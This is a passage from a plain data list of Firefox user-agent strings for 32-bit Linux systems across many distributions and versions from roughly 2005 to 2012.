Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en_US; rv:1.8.1b1) Gecko/20060813 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061001 Firefox/2.0b (Swiftfox) Mozilla/5.0 (X11;U;Linux i686;en-US;rv:1.8.1) Gecko/2006101022 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060119 Debian/1.5.dfsg-4ubuntu3 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060130 Ubuntu/1.5.dfsg-4ubuntu6 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060806 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101114 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 